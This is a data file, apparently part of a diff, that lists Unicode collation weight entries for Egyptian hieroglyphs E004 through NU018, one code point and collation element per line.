-130D5 ; [.4D51.0020.0002] # EGYPTIAN HIEROGLYPH E004
-130D6 ; [.4D52.0020.0002] # EGYPTIAN HIEROGLYPH E005
-130D7 ; [.4D53.0020.0002] # EGYPTIAN HIEROGLYPH E006
-130D8 ; [.4D54.0020.0002] # EGYPTIAN HIEROGLYPH E007
-130D9 ; [.4D55.0020.0002] # EGYPTIAN HIEROGLYPH E008
-130DA ; [.4D56.0020.0002] # EGYPTIAN HIEROGLYPH E008A
-130DB ; [.4D57.0020.0002] # EGYPTIAN HIEROGLYPH E009
-130DC ; [.4D58.0020.0002] # EGYPTIAN HIEROGLYPH E009A
-130DD ; [.4D59.0020.0002] # EGYPTIAN HIEROGLYPH E010
-130DE ; [.4D5A.0020.0002] # EGYPTIAN HIEROGLYPH E011
-130DF ; [.4D5B.0020.0002] # EGYPTIAN HIEROGLYPH E012
-130E0 ; [.4D5C.0020.0002] # EGYPTIAN HIEROGLYPH E013
-130E1 ; [.4D5D.0020.0002] # EGYPTIAN HIEROGLYPH E014
-130E2 ; [.4D5E.0020.0002] # EGYPTIAN HIEROGLYPH E015
-130E3 ; [.4D5F.0020.0002] # EGYPTIAN HIEROGLYPH E016
-130E4 ; [.4D60.0020.0002] # EGYPTIAN HIEROGLYPH E016A
-130E5 ; [.4D61.0020.0002] # EGYPTIAN HIEROGLYPH E017
-130E6 ; [.4D62.0020.0002] # EGYPTIAN HIEROGLYPH E017A
-130E7 ; [.4D63.0020.0002] # EGYPTIAN HIEROGLYPH E018
-130E8 ; [.4D64.0020.0002] # EGYPTIAN HIEROGLYPH E019
-130E9 ; [.4D65.0020.0002] # EGYPTIAN HIEROGLYPH E020
-130EA ; [.4D66.0020.0002] # EGYPTIAN HIEROGLYPH E020A
-130EB ; [.4D67.0020.0002] # EGYPTIAN HIEROGLYPH E021
-130EC ; [.4D68.0020.0002] # EGYPTIAN HIEROGLYPH E022
-130ED ; [.4D69.0020.0002] # EGYPTIAN HIEROGLYPH E023
-130EE ; [.4D6A.0020.0002] # EGYPTIAN HIEROGLYPH E024
-130EF ; [.4D6B.0020.0002] # EGYPTIAN HIEROGLYPH E025
-130F0 ; [.4D6C.0020.0002] # EGYPTIAN HIEROGLYPH E026
-130F1 ; [.4D6D.0020.0002] # EGYPTIAN HIEROGLYPH E027
-130F2 ; [.4D6E.0020.0002] # EGYPTIAN HIEROGLYPH E028
-130F3 ; [.4D6F.0020.0002] # EGYPTIAN HIEROGLYPH E028A
-130F4 ; [.4D70.0020.0002] # EGYPTIAN HIEROGLYPH E029
-130F5 ; [.4D71.0020.0002] # EGYPTIAN HIEROGLYPH E030
-130F6 ; [.4D72.0020.0002] # EGYPTIAN HIEROGLYPH E031
-130F7 ; [.4D73.0020.0002] # EGYPTIAN HIEROGLYPH E032
-130F8 ; [.4D74.0020.0002] # EGYPTIAN HIEROGLYPH E033
-130F9 ; [.4D75.0020.0002] # EGYPTIAN HIEROGLYPH E034
-130FA ; [.4D76.0020.0002] # EGYPTIAN HIEROGLYPH E034A
-130FB ; [.4D77.0020.0002] # EGYPTIAN HIEROGLYPH E036
-130FC ; [.4D78.0020.0002] # EGYPTIAN HIEROGLYPH E037
-130FD ; [.4D79.0020.0002] # EGYPTIAN HIEROGLYPH E038
-130FE ; [.4D7A.0020.0002] # EGYPTIAN HIEROGLYPH F001
-130FF ; [.4D7B.0020.0002] # EGYPTIAN HIEROGLYPH F001A
-13100 ; [.4D7C.0020.0002] # EGYPTIAN HIEROGLYPH F002
-13101 ; [.4D7D.0020.0002] # EGYPTIAN HIEROGLYPH F003
-13102 ; [.4D7E.0020.0002] # EGYPTIAN HIEROGLYPH F004
-13103 ; [.4D7F.0020.0002] # EGYPTIAN HIEROGLYPH F005
-13104 ; [.4D80.0020.0002] # EGYPTIAN HIEROGLYPH F006
-13105 ; [.4D81.0020.0002] # EGYPTIAN HIEROGLYPH F007
-13106 ; [.4D82.0020.0002] # EGYPTIAN HIEROGLYPH F008
-13107 ; [.4D83.0020.0002] # EGYPTIAN HIEROGLYPH F009
-13108 ; [.4D84.0020.0002] # EGYPTIAN HIEROGLYPH F010
-13109 ; [.4D85.0020.0002] # EGYPTIAN HIEROGLYPH F011
-1310A ; [.4D86.0020.0002] # EGYPTIAN HIEROGLYPH F012
-1310B ; [.4D87.0020.0002] # EGYPTIAN HIEROGLYPH F013
-1310C ; [.4D88.0020.0002] # EGYPTIAN HIEROGLYPH F013A
-1310D ; [.4D89.0020.0002] # EGYPTIAN HIEROGLYPH F014
-1310E ; [.4D8A.0020.0002] # EGYPTIAN HIEROGLYPH F015
-1310F ; [.4D8B.0020.0002] # EGYPTIAN HIEROGLYPH F016
-13110 ; [.4D8C.0020.0002] # EGYPTIAN HIEROGLYPH F017
-13111 ; [.4D8D.0020.0002] # EGYPTIAN HIEROGLYPH F018
-13112 ; [.4D8E.0020.0002] # EGYPTIAN HIEROGLYPH F019
-13113 ; [.4D8F.0020.0002] # EGYPTIAN HIEROGLYPH F020
-13114 ; [.4D90.0020.0002] # EGYPTIAN HIEROGLYPH F021
-13115 ; [.4D91.0020.0002] # EGYPTIAN HIEROGLYPH F021A
-13116 ; [.4D92.0020.0002] # EGYPTIAN HIEROGLYPH F022
-13117 ; [.4D93.0020.0002] # EGYPTIAN HIEROGLYPH F023
-13118 ; [.4D94.0020.0002] # EGYPTIAN HIEROGLYPH F024
-13119 ; [.4D95.0020.0002] # EGYPTIAN HIEROGLYPH F025
-1311A ; [.4D96.0020.0002] # EGYPTIAN HIEROGLYPH F026
-1311B ; [.4D97.0020.0002] # EGYPTIAN HIEROGLYPH F027
-1311C ; [.4D98.0020.0002] # EGYPTIAN HIEROGLYPH F028
-1311D ; [.4D99.0020.0002] # EGYPTIAN HIEROGLYPH F029
-1311E ; [.4D9A.0020.0002] # EGYPTIAN HIEROGLYPH F030
-1311F ; [.4D9B.0020.0002] # EGYPTIAN HIEROGLYPH F031
-13120 ; [.4D9C.0020.0002] # EGYPTIAN HIEROGLYPH F031A
-13121 ; [.4D9D.0020.0002] # EGYPTIAN HIEROGLYPH F032
-13122 ; [.4D9E.0020.0002] # EGYPTIAN HIEROGLYPH F033
-13123 ; [.4D9F.0020.0002] # EGYPTIAN HIEROGLYPH F034
-13124 ; [.4DA0.0020.0002] # EGYPTIAN HIEROGLYPH F035
-13125 ; [.4DA1.0020.0002] # EGYPTIAN HIEROGLYPH F036
-13126 ; [.4DA2.0020.0002] # EGYPTIAN HIEROGLYPH F037
-13127 ; [.4DA3.0020.0002] # EGYPTIAN HIEROGLYPH F037A
-13128 ; [.4DA4.0020.0002] # EGYPTIAN HIEROGLYPH F038
-13129 ; [.4DA5.0020.0002] # EGYPTIAN HIEROGLYPH F038A
-1312A ; [.4DA6.0020.0002] # EGYPTIAN HIEROGLYPH F039
-1312B ; [.4DA7.0020.0002] # EGYPTIAN HIEROGLYPH F040
-1312C ; [.4DA8.0020.0002] # EGYPTIAN HIEROGLYPH F041
-1312D ; [.4DA9.0020.0002] # EGYPTIAN HIEROGLYPH F042
-1312E ; [.4DAA.0020.0002] # EGYPTIAN HIEROGLYPH F043
-1312F ; [.4DAB.0020.0002] # EGYPTIAN HIEROGLYPH F044
-13130 ; [.4DAC.0020.0002] # EGYPTIAN HIEROGLYPH F045
-13131 ; [.4DAD.0020.0002] # EGYPTIAN HIEROGLYPH F045A
-13132 ; [.4DAE.0020.0002] # EGYPTIAN HIEROGLYPH F046
-13133 ; [.4DAF.0020.0002] # EGYPTIAN HIEROGLYPH F046A
-13134 ; [.4DB0.0020.0002] # EGYPTIAN HIEROGLYPH F047
-13135 ; [.4DB1.0020.0002] # EGYPTIAN HIEROGLYPH F047A
-13136 ; [.4DB2.0020.0002] # EGYPTIAN HIEROGLYPH F048
-13137 ; [.4DB3.0020.0002] # EGYPTIAN HIEROGLYPH F049
-13138 ; [.4DB4.0020.0002] # EGYPTIAN HIEROGLYPH F050
-13139 ; [.4DB5.0020.0002] # EGYPTIAN HIEROGLYPH F051
-1313A ; [.4DB6.0020.0002] # EGYPTIAN HIEROGLYPH F051A
-1313B ; [.4DB7.0020.0002] # EGYPTIAN HIEROGLYPH F051B
-1313C ; [.4DB8.0020.0002] # EGYPTIAN HIEROGLYPH F051C
-1313D ; [.4DB9.0020.0002] # EGYPTIAN HIEROGLYPH F052
-1313E ; [.4DBA.0020.0002] # EGYPTIAN HIEROGLYPH F053
-1313F ; [.4DBB.0020.0002] # EGYPTIAN HIEROGLYPH G001
-13140 ; [.4DBC.0020.0002] # EGYPTIAN HIEROGLYPH G002
-13141 ; [.4DBD.0020.0002] # EGYPTIAN HIEROGLYPH G003
-13142 ; [.4DBE.0020.0002] # EGYPTIAN HIEROGLYPH G004
-13143 ; [.4DBF.0020.0002] # EGYPTIAN HIEROGLYPH G005
-13144 ; [.4DC0.0020.0002] # EGYPTIAN HIEROGLYPH G006
-13145 ; [.4DC1.0020.0002] # EGYPTIAN HIEROGLYPH G006A
-13146 ; [.4DC2.0020.0002] # EGYPTIAN HIEROGLYPH G007
-13147 ; [.4DC3.0020.0002] # EGYPTIAN HIEROGLYPH G007A
-13148 ; [.4DC4.0020.0002] # EGYPTIAN HIEROGLYPH G007B
-13149 ; [.4DC5.0020.0002] # EGYPTIAN HIEROGLYPH G008
-1314A ; [.4DC6.0020.0002] # EGYPTIAN HIEROGLYPH G009
-1314B ; [.4DC7.0020.0002] # EGYPTIAN HIEROGLYPH G010
-1314C ; [.4DC8.0020.0002] # EGYPTIAN HIEROGLYPH G011
-1314D ; [.4DC9.0020.0002] # EGYPTIAN HIEROGLYPH G011A
-1314E ; [.4DCA.0020.0002] # EGYPTIAN HIEROGLYPH G012
-1314F ; [.4DCB.0020.0002] # EGYPTIAN HIEROGLYPH G013
-13150 ; [.4DCC.0020.0002] # EGYPTIAN HIEROGLYPH G014
-13151 ; [.4DCD.0020.0002] # EGYPTIAN HIEROGLYPH G015
-13152 ; [.4DCE.0020.0002] # EGYPTIAN HIEROGLYPH G016
-13153 ; [.4DCF.0020.0002] # EGYPTIAN HIEROGLYPH G017
-13154 ; [.4DD0.0020.0002] # EGYPTIAN HIEROGLYPH G018
-13155 ; [.4DD1.0020.0002] # EGYPTIAN HIEROGLYPH G019
-13156 ; [.4DD2.0020.0002] # EGYPTIAN HIEROGLYPH G020
-13157 ; [.4DD3.0020.0002] # EGYPTIAN HIEROGLYPH G020A
-13158 ; [.4DD4.0020.0002] # EGYPTIAN HIEROGLYPH G021
-13159 ; [.4DD5.0020.0002] # EGYPTIAN HIEROGLYPH G022
-1315A ; [.4DD6.0020.0002] # EGYPTIAN HIEROGLYPH G023
-1315B ; [.4DD7.0020.0002] # EGYPTIAN HIEROGLYPH G024
-1315C ; [.4DD8.0020.0002] # EGYPTIAN HIEROGLYPH G025
-1315D ; [.4DD9.0020.0002] # EGYPTIAN HIEROGLYPH G026
-1315E ; [.4DDA.0020.0002] # EGYPTIAN HIEROGLYPH G026A
-1315F ; [.4DDB.0020.0002] # EGYPTIAN HIEROGLYPH G027
-13160 ; [.4DDC.0020.0002] # EGYPTIAN HIEROGLYPH G028
-13161 ; [.4DDD.0020.0002] # EGYPTIAN HIEROGLYPH G029
-13162 ; [.4DDE.0020.0002] # EGYPTIAN HIEROGLYPH G030
-13163 ; [.4DDF.0020.0002] # EGYPTIAN HIEROGLYPH G031
-13164 ; [.4DE0.0020.0002] # EGYPTIAN HIEROGLYPH G032
-13165 ; [.4DE1.0020.0002] # EGYPTIAN HIEROGLYPH G033
-13166 ; [.4DE2.0020.0002] # EGYPTIAN HIEROGLYPH G034
-13167 ; [.4DE3.0020.0002] # EGYPTIAN HIEROGLYPH G035
-13168 ; [.4DE4.0020.0002] # EGYPTIAN HIEROGLYPH G036
-13169 ; [.4DE5.0020.0002] # EGYPTIAN HIEROGLYPH G036A
-1316A ; [.4DE6.0020.0002] # EGYPTIAN HIEROGLYPH G037
-1316B ; [.4DE7.0020.0002] # EGYPTIAN HIEROGLYPH G037A
-1316C ; [.4DE8.0020.0002] # EGYPTIAN HIEROGLYPH G038
-1316D ; [.4DE9.0020.0002] # EGYPTIAN HIEROGLYPH G039
-1316E ; [.4DEA.0020.0002] # EGYPTIAN HIEROGLYPH G040
-1316F ; [.4DEB.0020.0002] # EGYPTIAN HIEROGLYPH G041
-13170 ; [.4DEC.0020.0002] # EGYPTIAN HIEROGLYPH G042
-13171 ; [.4DED.0020.0002] # EGYPTIAN HIEROGLYPH G043
-13172 ; [.4DEE.0020.0002] # EGYPTIAN HIEROGLYPH G043A
-13173 ; [.4DEF.0020.0002] # EGYPTIAN HIEROGLYPH G044
-13174 ; [.4DF0.0020.0002] # EGYPTIAN HIEROGLYPH G045
-13175 ; [.4DF1.0020.0002] # EGYPTIAN HIEROGLYPH G045A
-13176 ; [.4DF2.0020.0002] # EGYPTIAN HIEROGLYPH G046
-13177 ; [.4DF3.0020.0002] # EGYPTIAN HIEROGLYPH G047
-13178 ; [.4DF4.0020.0002] # EGYPTIAN HIEROGLYPH G048
-13179 ; [.4DF5.0020.0002] # EGYPTIAN HIEROGLYPH G049
-1317A ; [.4DF6.0020.0002] # EGYPTIAN HIEROGLYPH G050
-1317B ; [.4DF7.0020.0002] # EGYPTIAN HIEROGLYPH G051
-1317C ; [.4DF8.0020.0002] # EGYPTIAN HIEROGLYPH G052
-1317D ; [.4DF9.0020.0002] # EGYPTIAN HIEROGLYPH G053
-1317E ; [.4DFA.0020.0002] # EGYPTIAN HIEROGLYPH G054
-1317F ; [.4DFB.0020.0002] # EGYPTIAN HIEROGLYPH H001
-13180 ; [.4DFC.0020.0002] # EGYPTIAN HIEROGLYPH H002
-13181 ; [.4DFD.0020.0002] # EGYPTIAN HIEROGLYPH H003
-13182 ; [.4DFE.0020.0002] # EGYPTIAN HIEROGLYPH H004
-13183 ; [.4DFF.0020.0002] # EGYPTIAN HIEROGLYPH H005
-13184 ; [.4E00.0020.0002] # EGYPTIAN HIEROGLYPH H006
-13185 ; [.4E01.0020.0002] # EGYPTIAN HIEROGLYPH H006A
-13186 ; [.4E02.0020.0002] # EGYPTIAN HIEROGLYPH H007
-13187 ; [.4E03.0020.0002] # EGYPTIAN HIEROGLYPH H008
-13188 ; [.4E04.0020.0002] # EGYPTIAN HIEROGLYPH I001
-13189 ; [.4E05.0020.0002] # EGYPTIAN HIEROGLYPH I002
-1318A ; [.4E06.0020.0002] # EGYPTIAN HIEROGLYPH I003
-1318B ; [.4E07.0020.0002] # EGYPTIAN HIEROGLYPH I004
-1318C ; [.4E08.0020.0002] # EGYPTIAN HIEROGLYPH I005
-1318D ; [.4E09.0020.0002] # EGYPTIAN HIEROGLYPH I005A
-1318E ; [.4E0A.0020.0002] # EGYPTIAN HIEROGLYPH I006
-1318F ; [.4E0B.0020.0002] # EGYPTIAN HIEROGLYPH I007
-13190 ; [.4E0C.0020.0002] # EGYPTIAN HIEROGLYPH I008
-13191 ; [.4E0D.0020.0002] # EGYPTIAN HIEROGLYPH I009
-13192 ; [.4E0E.0020.0002] # EGYPTIAN HIEROGLYPH I009A
-13193 ; [.4E0F.0020.0002] # EGYPTIAN HIEROGLYPH I010
-13194 ; [.4E10.0020.0002] # EGYPTIAN HIEROGLYPH I010A
-13195 ; [.4E11.0020.0002] # EGYPTIAN HIEROGLYPH I011
-13196 ; [.4E12.0020.0002] # EGYPTIAN HIEROGLYPH I011A
-13197 ; [.4E13.0020.0002] # EGYPTIAN HIEROGLYPH I012
-13198 ; [.4E14.0020.0002] # EGYPTIAN HIEROGLYPH I013
-13199 ; [.4E15.0020.0002] # EGYPTIAN HIEROGLYPH I014
-1319A ; [.4E16.0020.0002] # EGYPTIAN HIEROGLYPH I015
-1319B ; [.4E17.0020.0002] # EGYPTIAN HIEROGLYPH K001
-1319C ; [.4E18.0020.0002] # EGYPTIAN HIEROGLYPH K002
-1319D ; [.4E19.0020.0002] # EGYPTIAN HIEROGLYPH K003
-1319E ; [.4E1A.0020.0002] # EGYPTIAN HIEROGLYPH K004
-1319F ; [.4E1B.0020.0002] # EGYPTIAN HIEROGLYPH K005
-131A0 ; [.4E1C.0020.0002] # EGYPTIAN HIEROGLYPH K006
-131A1 ; [.4E1D.0020.0002] # EGYPTIAN HIEROGLYPH K007
-131A2 ; [.4E1E.0020.0002] # EGYPTIAN HIEROGLYPH K008
-131A3 ; [.4E1F.0020.0002] # EGYPTIAN HIEROGLYPH L001
-131A4 ; [.4E20.0020.0002] # EGYPTIAN HIEROGLYPH L002
-131A5 ; [.4E21.0020.0002] # EGYPTIAN HIEROGLYPH L002A
-131A6 ; [.4E22.0020.0002] # EGYPTIAN HIEROGLYPH L003
-131A7 ; [.4E23.0020.0002] # EGYPTIAN HIEROGLYPH L004
-131A8 ; [.4E24.0020.0002] # EGYPTIAN HIEROGLYPH L005
-131A9 ; [.4E25.0020.0002] # EGYPTIAN HIEROGLYPH L006
-131AA ; [.4E26.0020.0002] # EGYPTIAN HIEROGLYPH L006A
-131AB ; [.4E27.0020.0002] # EGYPTIAN HIEROGLYPH L007
-131AC ; [.4E28.0020.0002] # EGYPTIAN HIEROGLYPH L008
-131AD ; [.4E29.0020.0002] # EGYPTIAN HIEROGLYPH M001
-131AE ; [.4E2A.0020.0002] # EGYPTIAN HIEROGLYPH M001A
-131AF ; [.4E2B.0020.0002] # EGYPTIAN HIEROGLYPH M001B
-131B0 ; [.4E2C.0020.0002] # EGYPTIAN HIEROGLYPH M002
-131B1 ; [.4E2D.0020.0002] # EGYPTIAN HIEROGLYPH M003
-131B2 ; [.4E2E.0020.0002] # EGYPTIAN HIEROGLYPH M003A
-131B3 ; [.4E2F.0020.0002] # EGYPTIAN HIEROGLYPH M004
-131B4 ; [.4E30.0020.0002] # EGYPTIAN HIEROGLYPH M005
-131B5 ; [.4E31.0020.0002] # EGYPTIAN HIEROGLYPH M006
-131B6 ; [.4E32.0020.0002] # EGYPTIAN HIEROGLYPH M007
-131B7 ; [.4E33.0020.0002] # EGYPTIAN HIEROGLYPH M008
-131B8 ; [.4E34.0020.0002] # EGYPTIAN HIEROGLYPH M009
-131B9 ; [.4E35.0020.0002] # EGYPTIAN HIEROGLYPH M010
-131BA ; [.4E36.0020.0002] # EGYPTIAN HIEROGLYPH M010A
-131BB ; [.4E37.0020.0002] # EGYPTIAN HIEROGLYPH M011
-131BC ; [.4E38.0020.0002] # EGYPTIAN HIEROGLYPH M012
-131BD ; [.4E39.0020.0002] # EGYPTIAN HIEROGLYPH M012A
-131BE ; [.4E3A.0020.0002] # EGYPTIAN HIEROGLYPH M012B
-131BF ; [.4E3B.0020.0002] # EGYPTIAN HIEROGLYPH M012C
-131C0 ; [.4E3C.0020.0002] # EGYPTIAN HIEROGLYPH M012D
-131C1 ; [.4E3D.0020.0002] # EGYPTIAN HIEROGLYPH M012E
-131C2 ; [.4E3E.0020.0002] # EGYPTIAN HIEROGLYPH M012F
-131C3 ; [.4E3F.0020.0002] # EGYPTIAN HIEROGLYPH M012G
-131C4 ; [.4E40.0020.0002] # EGYPTIAN HIEROGLYPH M012H
-131C5 ; [.4E41.0020.0002] # EGYPTIAN HIEROGLYPH M013
-131C6 ; [.4E42.0020.0002] # EGYPTIAN HIEROGLYPH M014
-131C7 ; [.4E43.0020.0002] # EGYPTIAN HIEROGLYPH M015
-131C8 ; [.4E44.0020.0002] # EGYPTIAN HIEROGLYPH M015A
-131C9 ; [.4E45.0020.0002] # EGYPTIAN HIEROGLYPH M016
-131CA ; [.4E46.0020.0002] # EGYPTIAN HIEROGLYPH M016A
-131CB ; [.4E47.0020.0002] # EGYPTIAN HIEROGLYPH M017
-131CC ; [.4E48.0020.0002] # EGYPTIAN HIEROGLYPH M017A
-131CD ; [.4E49.0020.0002] # EGYPTIAN HIEROGLYPH M018
-131CE ; [.4E4A.0020.0002] # EGYPTIAN HIEROGLYPH M019
-131CF ; [.4E4B.0020.0002] # EGYPTIAN HIEROGLYPH M020
-131D0 ; [.4E4C.0020.0002] # EGYPTIAN HIEROGLYPH M021
-131D1 ; [.4E4D.0020.0002] # EGYPTIAN HIEROGLYPH M022
-131D2 ; [.4E4E.0020.0002] # EGYPTIAN HIEROGLYPH M022A
-131D3 ; [.4E4F.0020.0002] # EGYPTIAN HIEROGLYPH M023
-131D4 ; [.4E50.0020.0002] # EGYPTIAN HIEROGLYPH M024
-131D5 ; [.4E51.0020.0002] # EGYPTIAN HIEROGLYPH M024A
-131D6 ; [.4E52.0020.0002] # EGYPTIAN HIEROGLYPH M025
-131D7 ; [.4E53.0020.0002] # EGYPTIAN HIEROGLYPH M026
-131D8 ; [.4E54.0020.0002] # EGYPTIAN HIEROGLYPH M027
-131D9 ; [.4E55.0020.0002] # EGYPTIAN HIEROGLYPH M028
-131DA ; [.4E56.0020.0002] # EGYPTIAN HIEROGLYPH M028A
-131DB ; [.4E57.0020.0002] # EGYPTIAN HIEROGLYPH M029
-131DC ; [.4E58.0020.0002] # EGYPTIAN HIEROGLYPH M030
-131DD ; [.4E59.0020.0002] # EGYPTIAN HIEROGLYPH M031
-131DE ; [.4E5A.0020.0002] # EGYPTIAN HIEROGLYPH M031A
-131DF ; [.4E5B.0020.0002] # EGYPTIAN HIEROGLYPH M032
-131E0 ; [.4E5C.0020.0002] # EGYPTIAN HIEROGLYPH M033
-131E1 ; [.4E5D.0020.0002] # EGYPTIAN HIEROGLYPH M033A
-131E2 ; [.4E5E.0020.0002] # EGYPTIAN HIEROGLYPH M033B
-131E3 ; [.4E5F.0020.0002] # EGYPTIAN HIEROGLYPH M034
-131E4 ; [.4E60.0020.0002] # EGYPTIAN HIEROGLYPH M035
-131E5 ; [.4E61.0020.0002] # EGYPTIAN HIEROGLYPH M036
-131E6 ; [.4E62.0020.0002] # EGYPTIAN HIEROGLYPH M037
-131E7 ; [.4E63.0020.0002] # EGYPTIAN HIEROGLYPH M038
-131E8 ; [.4E64.0020.0002] # EGYPTIAN HIEROGLYPH M039
-131E9 ; [.4E65.0020.0002] # EGYPTIAN HIEROGLYPH M040
-131EA ; [.4E66.0020.0002] # EGYPTIAN HIEROGLYPH M040A
-131EB ; [.4E67.0020.0002] # EGYPTIAN HIEROGLYPH M041
-131EC ; [.4E68.0020.0002] # EGYPTIAN HIEROGLYPH M042
-131ED ; [.4E69.0020.0002] # EGYPTIAN HIEROGLYPH M043
-131EE ; [.4E6A.0020.0002] # EGYPTIAN HIEROGLYPH M044
-131EF ; [.4E6B.0020.0002] # EGYPTIAN HIEROGLYPH N001
-131F0 ; [.4E6C.0020.0002] # EGYPTIAN HIEROGLYPH N002
-131F1 ; [.4E6D.0020.0002] # EGYPTIAN HIEROGLYPH N003
-131F2 ; [.4E6E.0020.0002] # EGYPTIAN HIEROGLYPH N004
-131F3 ; [.4E6F.0020.0002] # EGYPTIAN HIEROGLYPH N005
-131F4 ; [.4E70.0020.0002] # EGYPTIAN HIEROGLYPH N006
-131F5 ; [.4E71.0020.0002] # EGYPTIAN HIEROGLYPH N007
-131F6 ; [.4E72.0020.0002] # EGYPTIAN HIEROGLYPH N008
-131F7 ; [.4E73.0020.0002] # EGYPTIAN HIEROGLYPH N009
-131F8 ; [.4E74.0020.0002] # EGYPTIAN HIEROGLYPH N010
-131F9 ; [.4E75.0020.0002] # EGYPTIAN HIEROGLYPH N011
-131FA ; [.4E76.0020.0002] # EGYPTIAN HIEROGLYPH N012
-131FB ; [.4E77.0020.0002] # EGYPTIAN HIEROGLYPH N013
-131FC ; [.4E78.0020.0002] # EGYPTIAN HIEROGLYPH N014
-131FD ; [.4E79.0020.0002] # EGYPTIAN HIEROGLYPH N015
-131FE ; [.4E7A.0020.0002] # EGYPTIAN HIEROGLYPH N016
-131FF ; [.4E7B.0020.0002] # EGYPTIAN HIEROGLYPH N017
-13200 ; [.4E7C.0020.0002] # EGYPTIAN HIEROGLYPH N018
-13201 ; [.4E7D.0020.0002] # EGYPTIAN HIEROGLYPH N018A
-13202 ; [.4E7E.0020.0002] # EGYPTIAN HIEROGLYPH N018B
-13203 ; [.4E7F.0020.0002] # EGYPTIAN HIEROGLYPH N019
-13204 ; [.4E80.0020.0002] # EGYPTIAN HIEROGLYPH N020
-13205 ; [.4E81.0020.0002] # EGYPTIAN HIEROGLYPH N021
-13206 ; [.4E82.0020.0002] # EGYPTIAN HIEROGLYPH N022
-13207 ; [.4E83.0020.0002] # EGYPTIAN HIEROGLYPH N023
-13208 ; [.4E84.0020.0002] # EGYPTIAN HIEROGLYPH N024
-13209 ; [.4E85.0020.0002] # EGYPTIAN HIEROGLYPH N025
-1320A ; [.4E86.0020.0002] # EGYPTIAN HIEROGLYPH N025A
-1320B ; [.4E87.0020.0002] # EGYPTIAN HIEROGLYPH N026
-1320C ; [.4E88.0020.0002] # EGYPTIAN HIEROGLYPH N027
-1320D ; [.4E89.0020.0002] # EGYPTIAN HIEROGLYPH N028
-1320E ; [.4E8A.0020.0002] # EGYPTIAN HIEROGLYPH N029
-1320F ; [.4E8B.0020.0002] # EGYPTIAN HIEROGLYPH N030
-13210 ; [.4E8C.0020.0002] # EGYPTIAN HIEROGLYPH N031
-13211 ; [.4E8D.0020.0002] # EGYPTIAN HIEROGLYPH N032
-13212 ; [.4E8E.0020.0002] # EGYPTIAN HIEROGLYPH N033
-13213 ; [.4E8F.0020.0002] # EGYPTIAN HIEROGLYPH N033A
-13214 ; [.4E90.0020.0002] # EGYPTIAN HIEROGLYPH N034
-13215 ; [.4E91.0020.0002] # EGYPTIAN HIEROGLYPH N034A
-13216 ; [.4E92.0020.0002] # EGYPTIAN HIEROGLYPH N035
-13217 ; [.4E93.0020.0002] # EGYPTIAN HIEROGLYPH N035A
-13218 ; [.4E94.0020.0002] # EGYPTIAN HIEROGLYPH N036
-13219 ; [.4E95.0020.0002] # EGYPTIAN HIEROGLYPH N037
-1321A ; [.4E96.0020.0002] # EGYPTIAN HIEROGLYPH N037A
-1321B ; [.4E97.0020.0002] # EGYPTIAN HIEROGLYPH N038
-1321C ; [.4E98.0020.0002] # EGYPTIAN HIEROGLYPH N039
-1321D ; [.4E99.0020.0002] # EGYPTIAN HIEROGLYPH N040
-1321E ; [.4E9A.0020.0002] # EGYPTIAN HIEROGLYPH N041
-1321F ; [.4E9B.0020.0002] # EGYPTIAN HIEROGLYPH N042
-13220 ; [.4E9C.0020.0002] # EGYPTIAN HIEROGLYPH NL001
-13221 ; [.4E9D.0020.0002] # EGYPTIAN HIEROGLYPH NL002
-13222 ; [.4E9E.0020.0002] # EGYPTIAN HIEROGLYPH NL003
-13223 ; [.4E9F.0020.0002] # EGYPTIAN HIEROGLYPH NL004
-13224 ; [.4EA0.0020.0002] # EGYPTIAN HIEROGLYPH NL005
-13225 ; [.4EA1.0020.0002] # EGYPTIAN HIEROGLYPH NL005A
-13226 ; [.4EA2.0020.0002] # EGYPTIAN HIEROGLYPH NL006
-13227 ; [.4EA3.0020.0002] # EGYPTIAN HIEROGLYPH NL007
-13228 ; [.4EA4.0020.0002] # EGYPTIAN HIEROGLYPH NL008
-13229 ; [.4EA5.0020.0002] # EGYPTIAN HIEROGLYPH NL009
-1322A ; [.4EA6.0020.0002] # EGYPTIAN HIEROGLYPH NL010
-1322B ; [.4EA7.0020.0002] # EGYPTIAN HIEROGLYPH NL011
-1322C ; [.4EA8.0020.0002] # EGYPTIAN HIEROGLYPH NL012
-1322D ; [.4EA9.0020.0002] # EGYPTIAN HIEROGLYPH NL013
-1322E ; [.4EAA.0020.0002] # EGYPTIAN HIEROGLYPH NL014
-1322F ; [.4EAB.0020.0002] # EGYPTIAN HIEROGLYPH NL015
-13230 ; [.4EAC.0020.0002] # EGYPTIAN HIEROGLYPH NL016
-13231 ; [.4EAD.0020.0002] # EGYPTIAN HIEROGLYPH NL017
-13232 ; [.4EAE.0020.0002] # EGYPTIAN HIEROGLYPH NL017A
-13233 ; [.4EAF.0020.0002] # EGYPTIAN HIEROGLYPH NL018
-13234 ; [.4EB0.0020.0002] # EGYPTIAN HIEROGLYPH NL019
-13235 ; [.4EB1.0020.0002] # EGYPTIAN HIEROGLYPH NL020
-13236 ; [.4EB2.0020.0002] # EGYPTIAN HIEROGLYPH NU001
-13237 ; [.4EB3.0020.0002] # EGYPTIAN HIEROGLYPH NU002
-13238 ; [.4EB4.0020.0002] # EGYPTIAN HIEROGLYPH NU003
-13239 ; [.4EB5.0020.0002] # EGYPTIAN HIEROGLYPH NU004
-1323A ; [.4EB6.0020.0002] # EGYPTIAN HIEROGLYPH NU005
-1323B ; [.4EB7.0020.0002] # EGYPTIAN HIEROGLYPH NU006
-1323C ; [.4EB8.0020.0002] # EGYPTIAN HIEROGLYPH NU007
-1323D ; [.4EB9.0020.0002] # EGYPTIAN HIEROGLYPH NU008
-1323E ; [.4EBA.0020.0002] # EGYPTIAN HIEROGLYPH NU009
-1323F ; [.4EBB.0020.0002] # EGYPTIAN HIEROGLYPH NU010
-13240 ; [.4EBC.0020.0002] # EGYPTIAN HIEROGLYPH NU010A
-13241 ; [.4EBD.0020.0002] # EGYPTIAN HIEROGLYPH NU011
-13242 ; [.4EBE.0020.0002] # EGYPTIAN HIEROGLYPH NU011A
-13243 ; [.4EBF.0020.0002] # EGYPTIAN HIEROGLYPH NU012
-13244 ; [.4EC0.0020.0002] # EGYPTIAN HIEROGLYPH NU013
-13245 ; [.4EC1.0020.0002] # EGYPTIAN HIEROGLYPH NU014
-13246 ; [.4EC2.0020.0002] # EGYPTIAN HIEROGLYPH NU015
-13247 ; [.4EC3.0020.0002] # EGYPTIAN HIEROGLYPH NU016
-13248 ; [.4EC4.0020.0002] # EGYPTIAN HIEROGLYPH NU017
-13249 ; [.4EC5.0020.0002] # EGYPTIAN HIEROGLYPH NU018
